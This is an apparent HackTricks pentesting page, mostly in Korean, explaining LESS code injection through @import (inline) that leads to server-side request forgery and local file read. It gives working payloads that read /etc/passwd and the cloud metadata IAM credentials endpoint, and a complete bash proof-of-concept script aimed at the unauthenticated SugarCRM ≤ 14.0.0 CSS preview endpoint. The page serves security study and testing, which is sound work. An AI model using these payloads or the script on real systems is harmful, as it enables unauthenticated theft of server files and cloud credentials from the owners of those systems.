LESS Code Injection이 SSRF 및 Local File Read로 이어짐
LESS는 변수, 믹스인, 함수 및 강력한 @import 지시자를 추가하는 인기 있는 CSS pre-processor입니다. 컴파일 중에 LESS 엔진은 @import 문에서 참조된 리소스를 가져와 (inline) 옵션이 사용될 때 해당 내용을 결과 CSS에 인라인으로 삽입합니다.
애플리케이션이 나중에 LESS 컴파일러가 파싱하는 문자열에 사용자 제어 입력을 이어붙이면, 공격자는 임의의 LESS 코드를 주입할 수 있습니다. @import (inline)을 남용하면 공격자는 서버로 하여금 다음을 가져오도록 강제할 수 있습니다:
- 로컬 파일을 
file://프로토콜을 통해 가져오기 (정보 노출 / Local File Inclusion). - 내부 네트워크나 클라우드 메타데이터 서비스의 원격 리소스 (SSRF).
 
이 기법은 SugarCRM ≤ 14.0.0 (/rest/v10/css/preview endpoint)와 같은 실제 제품에서 관찰되었습니다.
Exploitation
- Identify a parameter that is directly embedded inside a stylesheet string processed by the LESS engine (e.g. 
?lm=in SugarCRM). - Close the current statement and inject new directives. The most common primitives are:
 
;– 이전 선언을 종료합니다.}– 이전 블록을 닫습니다(필요한 경우).
- 임의의 리소스를 읽기 위해 
@import (inline) '<URL>';을 사용합니다. - 선택적으로 import 이후에 마커 (
data:URI)를 주입하여 컴파일된 CSS에서 가져온 내용을 쉽게 추출하도록 합니다. 
Local File Read
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
/etc/passwd의 내용은 HTTP 응답에서 @@END@@ 마커 바로 앞에 나타납니다.
SSRF – Cloud Metadata
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
자동화된 PoC (SugarCRM 예제)
bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
실제 사례
| 제품 | 취약한 엔드포인트 | 영향 | 
|---|---|---|
| SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | 인증되지 않은 SSRF 및 local file read | 
HackTricks